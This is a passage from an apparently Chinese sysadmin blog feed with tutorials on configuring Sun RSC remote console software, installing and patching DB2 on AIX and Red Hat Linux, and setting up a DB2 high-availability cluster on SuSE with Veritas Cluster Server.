<p>，位于光盘的目录：sun/progs/RSC/2.2.3中。该软件包也可以从sun的网站上下载，如下是参考链接地址：</p>
<p>http://www.sun.com/servers/rsc.html</p>
<p>在solaris 8上软件包是rsc2.2.3_packages_s8.zip，solaris 9和solaris 10使用同样的软件包是rsc2.2.3_packages_s8.zip</p>
<p>该软件安装步骤如下：</p>
<p>先准备软件包，然后解压缩，</p>
<p># unzip rsc2.2.3_packages_s8.zip</p>
<p>解压缩后出现很多的软件包，如下：</p>
<p>README SUNWfrscd SUNWkrscd</p>
<p>README-RSC SUNWfrscj SUNWkrscj</p>
<p>SUNWcrsc SUNWhrsc SUNWrsc</p>
<p>SUNWcrscd SUNWhrscd SUNWrscd</p>
<p>SUNWcrscj SUNWhrscj SUNWrscj</p>
<p>SUNWdersc SUNWirscd SUNWsrscd<br />
<span id="more-1457"></span><br />
SUNWdrscd SUNWirscj SUNWsrscj</p>
<p>SUNWdrscj SUNWitrsc SUNWsvrsc</p>
<p>SUNWerscd SUNWjersc en_us_relnotes.pdf</p>
<p>SUNWerscj SUNWjrscd rsc2.2.3_packages_s8.zip</p>
<p>SUNWesrsc SUNWjrscj rsc2.2.3_packages_s9.zip</p>
<p>SUNWfrrsc SUNWkrsc软件包中是针对不同语言环境不同的软件包，英文的软件包是必须安装的，中文的软件包是<br />
SUNWcrsc SUNWcrscd SUNWcrscj </p>
<p>英文的软件包是：<br />
SUNWrsc SUNWrscd SUNWrscj</p>
<p>除了中文和英文的软件包外把多余的软件包删除掉，剩下如下软件包：</p>
<p>README SUNWcrscj en_us_relnotes.pdf</p>
<p>README-RSC SUNWrsc rsc2.2.3_packages_s8.zip<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
SUNWcrsc SUNWrscd rsc2.2.3_packages_s9.zip</p>
<p>SUNWcrscd SUNWrscj</p>
<p>然后安装这些软件包。</p>
<p># pkgadd -d .</p>
<p>安装完之后，会在/usr/platform/`uname -i`/ 路径下生成rsc目录</p>
<p># cd /usr/platform/`uname -i`/rsc</p>
<p># ./ rsc-initscript </p>
<p># ./rsc-config</p>
<p>Continue with RSC setup (y|n): y</p>
<p>Set RSC date/time now (y|n|?) [y]:<br />
Server Hostname [SUN280R]:<br />
Edit customer info field (y|n|?) [n]:<br />
Enable RSC Ethernet Interface (y|n|s|?) [n]: y<br />
RSC IP Mode (config|dhcp|?) [dhcp]: n<br />
RSC IP Mode (config|dhcp|?) [dhcp]: config<br />
RSC IP Address []: 192.168.81.12<br />
RSC IP Netmask [255.255.255.0]:<br />
RSC IP Gateway []: 192.168.81.254<br />
Enable RSC Alerts (y|n|s|?) [n]:<br />
Enable RSC Modem Interface (y|n|s|?) [n]:<br />
Enable RSC Serial Port Interface (y|n|s|?) [n]:<br />
Setup RSC User Account (y|n|?) [y]:<br />
Username []: admin<br />
User Permissions (c,u,a,r|none|?) [cuar]: </p>
<p>Verifying Selections</p>
<p>General Setup</p>
<p>Set RSC date now = y<br />
Server Hostname = PMDB01</p>
<p>Set Customer Info = n</p>
<p>Is this correct (y|n): y<br />
Ethernet Setup<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
IP Mode = config<br />
IP Address = 192.168.81.12<br />
IP Netmask = 255.255.255.0<br />
IP Gateway = 192.168.81.254</p>
<p>Is this correct (y|n): y</p>
<p>Alert Setup<br />
Alerts disabled</p>
<p>Is this correct (y|n): y </p>
<p>Modem Setup<br />
&#8212;&#8212;&#8212;&#8211;<br />
 Modem disabled, ppp disabled</p>
<p>Is this correct (y|n): y</p>
<p>Serial Port Setup<br />
 Serial port disabled<br />
Is this correct (y|n): y</p>
<p>User Setup<br />
User Name = neusoft<br />
User Permissions = cuar<br />
Is this correct (y|n): y</p>
<p>This script will now update RSC, continue? (y|n): y<br />
Updating flash, this takes a few minutes<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
Download completed successfully</p>
<p>Resetting RSC (takes about 90 seconds):<br />
DONE<br />
Setting up server to update RSC date on boot: DONE<br />
Setting up server hostname: DONE<br />
Setting up ethernet interface: DONE<br />
Disabling RSC alert engine: DONE<br />
Disabling modem interface: DONE<br />
Disabling serial port interface: DONE<br />
Adding user to RSC:<br />
rscadm: user already exists<br />
when this script completes,<br />
use the rscadm command to correct the error.<br />
Resetting RSC (takes about 90 seconds):<br />
Are you sure you want to reboot RSC (y/n)? y</p>
<p>DONE<br />
Setting up RSC date: DONE</p>
<p>*******************************<br />
RSC has been successfully setup</p>
<p>至此，配置完毕，可以使用telnet连接RSC</p>
<p>与V240类似，系统也提供了rscadm命令用于在正常状态下管理配置rsc!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1457.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DB2安装手册 For IBM Aix</title>
		<link>http://www.evanjiang.net.cn/archives/1455.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1455.html#comments</comments>
		<pubDate>Sun, 07 Feb 2010 13:33:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[db2]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1455</guid>
		<description><![CDATA[<p>DB2安装手册 (IBM AIX 环境下）
一、安装前的准备
1．	检查操作系统的版本，确保AIX系统已经打上最新的补丁：
#oslevel –r
#instfix –i &#124;grep ML
如果没有安装最新补丁，请使用补丁光盘，安装补丁文件；
2．	查看/usr文件系统的可用空间，确保可用空间>100MB：
#df –k
如果/usr可用空间不够，使用chfs –a size=+256000 /usr增加128MB空间；
3．	建议安装前，停止其他繁忙的应用程序的运行，以确保安装的性能。
二、安装过程
1．	注册为具有超级用户权限的用户(root以下所有操作均在root用户下完成）；
2．	将 标有“DB2通用数据库企业版”的软件光盘插入驱动器（DB2 UNIVERSAL DATABASE ENTERPRISE SERVER EDITION VERSION 8.1 AT THE FIXPAK 1LEVEL）；
3．	加载光盘文件系统：#mount –rv cdrfs /dev/cd0 /mnt;
4．	进入光盘文件系统# cd /cdrom;  （cd mnt）
5．	将光盘上压缩文件拷贝至/db2temp ,命令为cp;（db2temp是一存放解压缩文件的临时文件夹）
6．	解压缩uncompress 文件名;
7．	继续解压缩tar –xvf  文件名
8．	进入解压后的文件夹，找到db2setup文件，运行 ./db2setup命令以启动 DB2 安装程序,安装 DB2 V6 窗口打开;
9．	 按 Tab 键或用鼠标更改突出显示的选项，按 Enter 键或鼠标选择或取消选择选项;</p>
<p>10．	点击Install Products，并选择安装DB2 UDB Enterprise Server Edition</p>
<p>11．	点击Next，进入DB2 Setup [...]]]></description>
			<content:encoded><![CDATA[<p>DB2安装手册 (IBM AIX 环境下）<br />
一、安装前的准备<br />
1．	检查操作系统的版本，确保AIX系统已经打上最新的补丁：<br />
#oslevel –r<br />
#instfix –i |grep ML<br />
如果没有安装最新补丁，请使用补丁光盘，安装补丁文件；<br />
2．	查看/usr文件系统的可用空间，确保可用空间>100MB：<br />
#df –k<br />
如果/usr可用空间不够，使用chfs –a size=+256000 /usr增加128MB空间；<br />
3．	建议安装前，停止其他繁忙的应用程序的运行，以确保安装的性能。<br />
二、安装过程<br />
1．	注册为具有超级用户权限的用户(root以下所有操作均在root用户下完成）；<br />
2．	将 标有“DB2通用数据库企业版”的软件光盘插入驱动器（DB2 UNIVERSAL DATABASE ENTERPRISE SERVER EDITION VERSION 8.1 AT THE FIXPAK 1LEVEL）；<br />
3．	加载光盘文件系统：#mount –rv cdrfs /dev/cd0 /mnt;<br />
4．	进入光盘文件系统# cd /cdrom;  （cd mnt）<br />
5．	将光盘上压缩文件拷贝至/db2temp ,命令为cp;（db2temp是一存放解压缩文件的临时文件夹）<br />
6．	解压缩uncompress 文件名;<br />
7．	继续解压缩tar –xvf  文件名<br />
8．	进入解压后的文件夹，找到db2setup文件，运行 ./db2setup命令以启动 DB2 安装程序,安装 DB2 V6 窗口打开;<br />
9．	 按 Tab 键或用鼠标更改突出显示的选项，按 Enter 键或鼠标选择或取消选择选项;</p>
<p>10．	点击Install Products，并选择安装DB2 UDB Enterprise Server Edition</p>
<p>11．	点击Next，进入DB2 Setup wizard；</p>
<p>12．	点击Next，进入Software License Agreement；<br />
<span id="more-1455"></span><br />
选择Agree，并点击Next;<br />
13．	选择安装类型：为Custom自定义安装，并点击Next；</p>
<p>14．	选择在本机上安装DB2，并点击Next；</p>
<p>15．	选择DB2组件，添加Application Development Tools选项，并点击Next；</p>
<p>16．	选择DB2 产品语言，缺省为English，并点击Next；</p>
<p>17．	创建DB2 Administration Server User，设定password，其他使用缺省配置，并点击Next；</p>
<p>18．	选择DB2 Instance，选择32bit Instance，并点击Next（此时会出现一个提示说需要支持32位的JDK，此JDK在DEVELOPE KIT随机光盘中能够找到，最后一步详细说明安装步骤）</p>
<p>19．	选择Single-partition Instance，并点击Next；</p>
<p>20．	创建DB2 Instance owner User，设定password，其他使用缺省配置，并点击Next；</p>
<p>21．	创建DB2 Instance fenced User，设定password，其他使用缺省配置，并点击Next；</p>
<p>22．	配置DB2 Instance TCP/IP 通讯，选择Configure，使用缺省值，并点击Next；</p>
<p>23．	设置Instance属性，使用缺省值，并点击Next；</p>
<p>24．	准备DB2 tools catalog，选择不使用，并点击Next；</p>
<p>25．	设置Administration联系表，使用缺省值，并点击Next；</p>
<p>26．	设置健康监视联系人，使用缺省值，并点击Next；</p>
<p>27．	当前配置总结，并点击Next，开始复制文件；</p>
<p>28．	安装过程；</p>
<p>29．	安装完毕，并点击Finish；</p>
<p>安装完成之后检查三个帐户（dasusr1，db2inst1，db2fenc）是否全部建立，使用smitty user命令查看，或者使用su命令分别进入三个帐户，如果三个帐户存在并且可以su进去，证明帐户添加成功。如发现帐户没有建立，重新执行安装程序，再次安装，帐户添加成功。<br />
三、数据库测试<br />
1．	安装完以后重启机器； shutdown -F<br />
2．	安装结果：数据库程序安装完成后，DB2的软件程序安装在/usr/lpp目录中，DB2DIR = /usr/lpp/DB2_08_01；<br />
3．	执行 ./home/db2inst1/sqllib/db2profile;<br />
4．	使用db2inst1登入系统，运行$db2sampl 创建sample数据库；<br />
5．	使用$db2 list db directory查看数据库catalog；<br />
6．	使用$db2 connect to sample连接到Sample数据库；使用$db2 list tables查看表，并使用select * from sales查看Sales表里的内容，结果如下：<br />
$ db2 connect to sample;<br />
   Database Connection Information<br />
 Database server        = DB2/AIX64 8.1.0<br />
 SQL authorization ID   = DB2INST1<br />
 Local database alias   = SAMPLE</p>
<p>$ db2 list tables</p>
<p>Table/View                      Schema          Type  Creation time<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
CL_SCHED                        DB2INST1        T     2005-04-17-10.53.31.235846<br />
DEPARTMENT                      DB2INST1        T     2005-04-17-10.53.26.255031<br />
EMP_ACT                         DB2INST1        T     2005-04-17-10.53.26.685151<br />
EMP_PHOTO                       DB2INST1        T     2005-04-17-10.53.27.169439<br />
EMP_RESUME                      DB2INST1        T     2005-04-17-10.53.30.242825<br />
EMPLOYEE                        DB2INST1        T     2005-04-17-10.53.26.395867<br />
IN_TRAY                         DB2INST1        T     2005-04-17-10.53.31.351258<br />
ORG                             DB2INST1        T     2005-04-17-10.53.25.699546<br />
PROJECT                         DB2INST1        T     2005-04-17-10.53.26.970160<br />
SALES                           DB2INST1        T     2005-04-17-10.53.31.042355<br />
STAFF                           DB2INST1        T     2005-04-17-10.53.26.047395</p>
<p>  11 record(s) selected.</p>
<p>$ db2 &#8220;select * from sales&#8221;;</p>
<p>SALES_DATE SALES_PERSON    REGION          SALES<br />
&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8211;<br />
12/31/1995 LUCCHESSI       Ontario-South             1<br />
12/31/1995 LEE             Ontario-South             3<br />
12/31/1995 LEE             Quebec                    1<br />
12/31/1995 LEE             Manitoba                  2<br />
12/31/1995 GOUNOT          Quebec                    1<br />
03/29/1996 LUCCHESSI       Ontario-South             3<br />
03/29/1996 LUCCHESSI       Quebec                    1<br />
03/29/1996 LEE             Ontario-South             2<br />
03/29/1996 LEE             Ontario-North             2<br />
03/29/1996 LEE             Quebec                    3<br />
03/29/1996 LEE             Manitoba                  5<br />
03/29/1996 GOUNOT          Ontario-South             3<br />
03/29/1996 GOUNOT          Quebec                    1<br />
03/29/1996 GOUNOT          Manitoba                  7<br />
03/30/1996 LUCCHESSI       Ontario-South             1<br />
03/30/1996 LUCCHESSI       Quebec                    2<br />
03/30/1996 LUCCHESSI       Manitoba                  1<br />
03/30/1996 LEE             Ontario-South             7<br />
03/30/1996 LEE             Ontario-North             3<br />
03/30/1996 LEE             Quebec                    7<br />
03/30/1996 LEE             Manitoba                  4<br />
03/30/1996 GOUNOT          Ontario-South             2<br />
03/30/1996 GOUNOT          Quebec                   18<br />
03/30/1996 GOUNOT          Manitoba                  1<br />
03/31/1996 LUCCHESSI       Manitoba                  1<br />
03/31/1996 LEE             Ontario-South            14<br />
03/31/1996 LEE             Ontario-North             3<br />
03/31/1996 LEE             Quebec                    7<br />
03/31/1996 LEE             Manitoba                  3<br />
03/31/1996 GOUNOT          Ontario-South             2<br />
03/31/1996 GOUNOT          Quebec                    1<br />
04/01/1996 LUCCHESSI       Ontario-South             3<br />
04/01/1996 LUCCHESSI       Manitoba                  1<br />
04/01/1996 LEE             Ontario-South             8<br />
04/01/1996 LEE             Ontario-North             -<br />
04/01/1996 LEE             Quebec                    8<br />
04/01/1996 LEE             Manitoba                  9<br />
04/01/1996 GOUNOT          Ontario-South             3<br />
04/01/1996 GOUNOT          Ontario-North             1<br />
04/01/1996 GOUNOT          Quebec                    3<br />
04/01/1996 GOUNOT          Manitoba                  7</p>
<p>  41 record(s) selected.</p>
<p>四、安装补丁<br />
安装 DB2 补丁前的注意事项：<br />
由于补丁解压后单个文件大于2G，因此需在/etc/security/limits中将参数fsize的值改为-1<br />
注：1、使用root帐户进行解压缩必须把fsize的值改为-1，用db2inst1帐户进行解压缩需用root帐户把压缩文件的权限改为777。<br />
# chmod –R 777 压缩文件名<br />
2、在安装补丁之前最好先创建数据库<br />
在建立数据库之后，运行db2set DB2CODEPAGE=1386<br />
开始安装之前，请先确实停止所有的 DB2 程序。<br />
1. 执行 su &#8211; root 命令以切换至 root 权限。<br />
2. 针对每个实例执行下列命令：<br />
           su – iname（db2inst1）<br />
       . $HOME/sqllib/db2profile<br />
       db2 force applications all<br />
       db2 terminate<br />
       db2stop<br />
       exit<br />
   其中 iname 代表实例拥有者名称。<br />
   如果您是 hacmp 使用者，则必须使用 ha_db2stop 命令停止 DB2，而不应使用<br />
   db2stop 命令。不然，db2stop 命令会触发失败事件。<br />
3. 执行下列命令：<br />
        su – aname(dasusr1)<br />
       . $HOME/das/dasprofile<br />
        db2admin stop<br />
        exit<br />
   其中 aname 代表 DAS 拥有者名称。<br />
4. 在 AIX 上，您也应执行 slibclean，以从内存中卸载未使用的共享档案<br />
   库，然后才进行安装：<br />
       /usr/sbin/slibclean<br />
5. 停止所有正在使用 DB2 第 8 版的实例。若有正在使用 DB2 第 8 版的「错误<br />
   监督程序」，也必须加以停用。<br />
安装DB2补丁<br />
从 IBM 匿名 FTP 服务器下载第 8 版替代 FixPak，下载后的文件名为：FP9a_U800780.tar.Z<br />
解压缩的步骤：<br />
1、	uncompress FP9a_U800789.tar.Z,执行后生成的文件为FP9a_U800789.tar<br />
2、	tar –tvf  FP9a_U800789.tar,执行后生成的文件OD_14086<br />
若要安装 DB2 补丁：<br />
1. 进入OD_14086文件夹。<br />
2. 输入 ./installFixPak 命令以启动安装。<br />
./installFixPak –y  (执行的命令)<br />
注: 根据默认值，installFixPak命令将会确定 AIX 上所有已更新的档案集。<br />
更新实例以使用新的 DB2 层次<br />
在安装新的 DB2 层次之后，必须更新所有实例。<br />
您必须以 root 身份登入来更新实例。针对每个实例，发出下列命令：<br />
      INSTHOME(/usr/opt/db2_08_01)/instance/db2iupdt iname(db2inst1)<br />
 其中 iname 代表实例名称，INSTHOME 代表适合您操作系统的安装目录。<br />
当数据库管理服务器 (DAS) 实例存在，并且是 DB2 第 8 版 DAS 实例时，请执行<br />
dasupdt 命令。若要更新 DAS 实例，请发出下列命令：<br />
    INSTHOME/instance/dasupdt dasname(dasusr1)<br />
其中 dasname 代表 DAS 拥有者名称，INSTHOME 代表适合您操作系统的安装目录。<br />
如需 db2iupdt 或 dasupdt 命令进一步的相关信息，请以 -h 选项执行这些命令。<br />
重新启动实例<br />
1. 以实例拥有者身份登入，然后输入 db2start 命令。<br />
2. 在每一个实例重复。<br />
若要重新启动管理服务器，请以 DAS 拥有者登入，然后执行 db2admin start 命令。<br />
重新连结连结档案<br />
您必须在安装之后，将 DB2 公用程序连结至所有的数据库。完成这个步骤，修正程序安装即完成，并会确保程序代码层次的正确使用。每个数据库只需执行一次连结的程序 (如下所述)。<br />
重新连结 DB2 UDB 数据库<br />
引用修正程序之后，您必须执行下列命令集之一：<br />
在命令提示下输入：<br />
    db2 terminate<br />
       db2 CONNECT TO <dbname><br />
       db2 BIND
<path>/@db2ubind.lst BLOCKING ALL GRANT PUBLIC<br />
       db2 BIND
<path>/@db2cli.lst BLOCKING ALL GRANT PUBLIC<br />
    db2 terminate<br />
    或<br />
在 DB2 命令行下输入：<br />
       TERMINATE<br />
       CONNECT TO <dbname><br />
       BIND
<path>/@db2ubind.lst BLOCKING ALL GRANT PUBLIC<br />
       BIND
<path>/@db2cli.lst BLOCKING ALL GRANT PUBLIC<br />
       TERMINATE<br />
其中 <dbname> 代表公用程序应连接的数据库名称，
<path> 代表连结档案所在<br />
目录的完整路径名称 (如 $HOME(/home/db2inst1)/sqllib/bnd，其中 $HOME 代表数据库服务器的实例之起始目录)。 db2ubind.lst 与 db2cli.lst包含用于 DB2 UDB 所必要的连<br />
结档案清单。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1455.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DB2 for RH linux的详细的安装步骤</title>
		<link>http://www.evanjiang.net.cn/archives/1453.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1453.html#comments</comments>
		<pubDate>Sun, 07 Feb 2010 13:31:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[db2]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1453</guid>
		<description><![CDATA[<p>安装
(1) 操作系统安装
本次测试的操作系统环境为RedHat Linux7.2 Professional，内核 2.2.12 或更新版本 </p>
<p>安装过程基本上点选“next”即可，有以下几点需要注意
1． 在选择要安装的产品包时，要选中安装“开发工具包”，因为DB2运行环境需要其中的两个库：glibc 版本 2.1.2 或更新版本，libstdc++ 版本 2.9.0。
2． 可以在安装过程中设置网络参数，如IP地址、网关等，当然你也可以在安装完成后在操作系统命令行完成。 </p>
<p>(2) DB2产品安装
本次使用的安装介质为DB2 for Linux安装光盘，其中包括
1． DB2 UDB for Linux Enterprise Edition
2． DB2 Connect Enterprise Edition
3． DB2 Application Development Development Tool
4． DB2 Administration Client </p>
<p>本次测试的目的是希望通过DB2 的产品连上社保局的AS/400下的DB2数据库并能存取数据库，所有我们只需安装Connect产品。 </p>
<p>在安装DB2产品之前，你必须安装公用域程序包pdksh，该包可以从Linux安装盘中获得(目前使用的版本为第二张安装盘)，安装步骤如下：
#mkdir db2
#mount –t iso9660 –o ro /dev/cdrom db2
#rpm –ivh /root/db2/RedHat/RPMS/pdksh…rpm
#umount db2

然后就可以安装DB2产品。
如果系统提示找不到共享库：libncurses.so.4，进行如下操作：
#ln –sf /usr/lib/libncurses.so.5 /usr/lib/libncurses.so.4  </p>
<p>#mount /dev/cdrom [...]]]></description>
			<content:encoded><![CDATA[<p>安装<br />
(1) 操作系统安装<br />
本次测试的操作系统环境为RedHat Linux7.2 Professional，内核 2.2.12 或更新版本 </p>
<p>安装过程基本上点选“next”即可，有以下几点需要注意<br />
1． 在选择要安装的产品包时，要选中安装“开发工具包”，因为DB2运行环境需要其中的两个库：glibc 版本 2.1.2 或更新版本，libstdc++ 版本 2.9.0。<br />
2． 可以在安装过程中设置网络参数，如IP地址、网关等，当然你也可以在安装完成后在操作系统命令行完成。 </p>
<p>(2) DB2产品安装<br />
本次使用的安装介质为DB2 for Linux安装光盘，其中包括<br />
1． DB2 UDB for Linux Enterprise Edition<br />
2． DB2 Connect Enterprise Edition<br />
3． DB2 Application Development Development Tool<br />
4． DB2 Administration Client </p>
<p>本次测试的目的是希望通过DB2 的产品连上社保局的AS/400下的DB2数据库并能存取数据库，所有我们只需安装Connect产品。 </p>
<p>在安装DB2产品之前，你必须安装公用域程序包pdksh，该包可以从Linux安装盘中获得(目前使用的版本为第二张安装盘)，安装步骤如下：<br />
#mkdir db2<br />
#mount –t iso9660 –o ro /dev/cdrom db2<br />
#rpm –ivh /root/db2/RedHat/RPMS/pdksh…rpm<br />
#umount db2<br />
<span id="more-1453"></span><br />
然后就可以安装DB2产品。<br />
如果系统提示找不到共享库：libncurses.so.4，进行如下操作：<br />
#ln –sf /usr/lib/libncurses.so.5 /usr/lib/libncurses.so.4  </p>
<p>#mount /dev/cdrom db2<br />
#/root/db2/db2setup </p>
<p>选择安装DB2 Connect EE，根据提示完成安装。 </p>
<p>安装完Connect 产品后，就要创建一个DB2的实例用来生成连接环境，在安装界面选择”create”实例，随后的选择均可采用缺省。 </p>
<p>实例创建完成后，系统会生成一个登录用户db2inst1，缺省密码ibmdb2，我们将会用这个帐号/密码登录到操作系统并连接到AS/400。 </p>
<p>设置<br />
(1) 必须完成相关的网络设置以保证到社保局的物理链路畅通<br />
相关的命令：<br />
#ifconfig eth0 132.92.21.204 netmask 255.255.0.0 //设置IP<br />
#route add default gw 132.92.21.254 //设置缺省路由<br />
#traceroute 97.0.0.1 //跟踪到目的主机的路由<br />
#ping 97.0.0.1 //测试网络<br />
#route  //查看路由 </p>
<p>网络配置文件(每次操作系统启动时自动从该文件加载)<br />
/etc/sysconfig/network-scripts/ifcfg-eth0 </p>
<p>(2) 更新hosts和services文件<br />
编辑/etc/hosts文件，增加一行<br />
97.0.0.8  as400<br />
编辑/etc/services文件，增加一行<br />
ddm 446/tcp<br />
(3) 以db2inst1帐号登录<br />
(4) 启动db2，在命令行进行如下设置：<br />
db2=>;catalog tcpip node zstax remote as400 server ddm<br />
db2=>;catalog dcs db localdb as s653p86m<br />
db2=>;catalog database localdb as zsins at node zstax authentication dcs<br />
db2=>;terminate </p>
<p>(5) 测试到AS400的连接<br />
db2=>;connect to zsins user XXXXX using XXXXXX<br />
如果成功连接，会返回AS400的服务器的有关信息 </p>
<p>(6) 存取数据库<br />
如果提示”NULLID.****”包未找到，在DB2的安装包目录找到相应的文件，这里我们需要安装db2clpcs.bnd<br />
db2=>;bind /usr/IBMdb2/V7.1/bnd/db2clpcs.bnd blocking all grant public </p>
<p>然后你就可以对数据库进行存取操作</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1453.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>在Linux上实现DB2双机HA完整方案</title>
		<link>http://www.evanjiang.net.cn/archives/1449.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1449.html#comments</comments>
		<pubDate>Sat, 30 Jan 2010 14:58:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[db2]]></category>
		<category><![CDATA[suse linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1449</guid>
		<description><![CDATA[<p>1. 摘要 </p>
<p>　　本文档介绍在SuSE Linux Enterprise Server v8.0(SLES 8)上安装配置DB2 UDB Enterprise Serverv8.2双机互备的高可靠性方案的基本步骤。该方案配合采用SLES的卷管理器(LVM)和Veritas Cluster Server v2.2(VCS 2.2)作为HA实现组件。 </p>
<p>2. 概述 </p>
<p>　本文档假定读者已经理解双机互备的HA方案的基本概念。 </p>
<p>2.1. 双机互备HA方案的基本步骤 </p>
<p>　　建立一个双机互备方案的基本步骤是：
1. 确定基本参数(如IP地址、存储空间，等等。本方案的参数均为示范参数，读者需要根据实际环境替换)
2. 配置共享存储(本方案不涉及共享存储方案的配置)
3. 在两台节点上分别安装应用(在本方案中是DB2 UDB)
4. 在一台节点上对应用作初始配置(在本方案中是在共享存储上建立DB2数据库)
5. 在另一台节点上引入共享存储上的配置(在本方案中是对共享存储上的数据库做catalog操作)
6. 在两台节点上分别手动测试应用
7. 配置HA Cluster管理软件(在本方案中是VCS)
8. 测试HA Cluster管理软件可以成功接管资源</p>
<p>2.2. 假设 </p>
<p>　　本文档假定采用以下示例环境，SLES与VCS已在节点上正确安装，SLES的共享存储已经正确连接，VCS的心跳连接已经正确配置。

2.2.1. 存储 </p>
<p>　　各节点上需要足够的本地磁盘空间，来安装DB2 UDB的可执行代码及实例。 </p>
<p>　　本方案需要足够的共享存储空间，来放置数据库数据。 </p>
<p>　　假定共享存储上分配给DB2数据库的卷组名为/dev/datavg1，逻辑卷名为/dev/datavg1/db2lv1(使用SLES的LVM服务)，在两个节点上的挂接点名为/home/db2data，且已正确格式化为合适的文件系统(Veritas工程师指出在SLES 8上VCS 2.2不支持ext3文件系统，建议格式化时指定ext2，在SLES 9和VCS 4.1上不存在这个问题)。注意这个挂接点要在fstab文件中配置为启动时不自动挂接。 </p>
<p>　　数据库其他表空间可以建立在共享存储的其他卷上，如果是文件系统，同样要配置为不自动挂接。本文档暂不讨论。 </p>
<p>2.2.2. 节点 </p>
<p>　　本HA方案采用两个服务器节点做主从互备，以下分别称为Active节点和Passive节点。这两个节点具有相同的硬件和操作系统配置。 </p>
<p>2.2.3. 网络 </p>
<p>　　对外的IP网络。假定该方案中DB2 UDB对外提供服务使用的浮动IP(Floating IP)为192.168.10.110，Active节点的物理IP为192.168.10.11，Passive节点的物理IP为192.168.10.12。 </p>
<p>　HA管理软件需要一组内部IP来管理双机间的心跳连接。心跳IP不在本文档范围内。 </p>
<p>3. 配置步骤 [...]]]></description>
			<content:encoded><![CDATA[<p>1. 摘要 </p>
<p>　　本文档介绍在SuSE Linux Enterprise Server v8.0(SLES 8)上安装配置DB2 UDB Enterprise Serverv8.2双机互备的高可靠性方案的基本步骤。该方案配合采用SLES的卷管理器(LVM)和Veritas Cluster Server v2.2(VCS 2.2)作为HA实现组件。 </p>
<p>2. 概述 </p>
<p>　本文档假定读者已经理解双机互备的HA方案的基本概念。 </p>
<p>2.1. 双机互备HA方案的基本步骤 </p>
<p>　　建立一个双机互备方案的基本步骤是：<br />
1. 确定基本参数(如IP地址、存储空间，等等。本方案的参数均为示范参数，读者需要根据实际环境替换)<br />
2. 配置共享存储(本方案不涉及共享存储方案的配置)<br />
3. 在两台节点上分别安装应用(在本方案中是DB2 UDB)<br />
4. 在一台节点上对应用作初始配置(在本方案中是在共享存储上建立DB2数据库)<br />
5. 在另一台节点上引入共享存储上的配置(在本方案中是对共享存储上的数据库做catalog操作)<br />
6. 在两台节点上分别手动测试应用<br />
7. 配置HA Cluster管理软件(在本方案中是VCS)<br />
8. 测试HA Cluster管理软件可以成功接管资源</p>
<p>2.2. 假设 </p>
<p>　　本文档假定采用以下示例环境，SLES与VCS已在节点上正确安装，SLES的共享存储已经正确连接，VCS的心跳连接已经正确配置。<br />
<span id="more-1449"></span><br />
2.2.1. 存储 </p>
<p>　　各节点上需要足够的本地磁盘空间，来安装DB2 UDB的可执行代码及实例。 </p>
<p>　　本方案需要足够的共享存储空间，来放置数据库数据。 </p>
<p>　　假定共享存储上分配给DB2数据库的卷组名为/dev/datavg1，逻辑卷名为/dev/datavg1/db2lv1(使用SLES的LVM服务)，在两个节点上的挂接点名为/home/db2data，且已正确格式化为合适的文件系统(Veritas工程师指出在SLES 8上VCS 2.2不支持ext3文件系统，建议格式化时指定ext2，在SLES 9和VCS 4.1上不存在这个问题)。注意这个挂接点要在fstab文件中配置为启动时不自动挂接。 </p>
<p>　　数据库其他表空间可以建立在共享存储的其他卷上，如果是文件系统，同样要配置为不自动挂接。本文档暂不讨论。 </p>
<p>2.2.2. 节点 </p>
<p>　　本HA方案采用两个服务器节点做主从互备，以下分别称为Active节点和Passive节点。这两个节点具有相同的硬件和操作系统配置。 </p>
<p>2.2.3. 网络 </p>
<p>　　对外的IP网络。假定该方案中DB2 UDB对外提供服务使用的浮动IP(Floating IP)为192.168.10.110，Active节点的物理IP为192.168.10.11，Passive节点的物理IP为192.168.10.12。 </p>
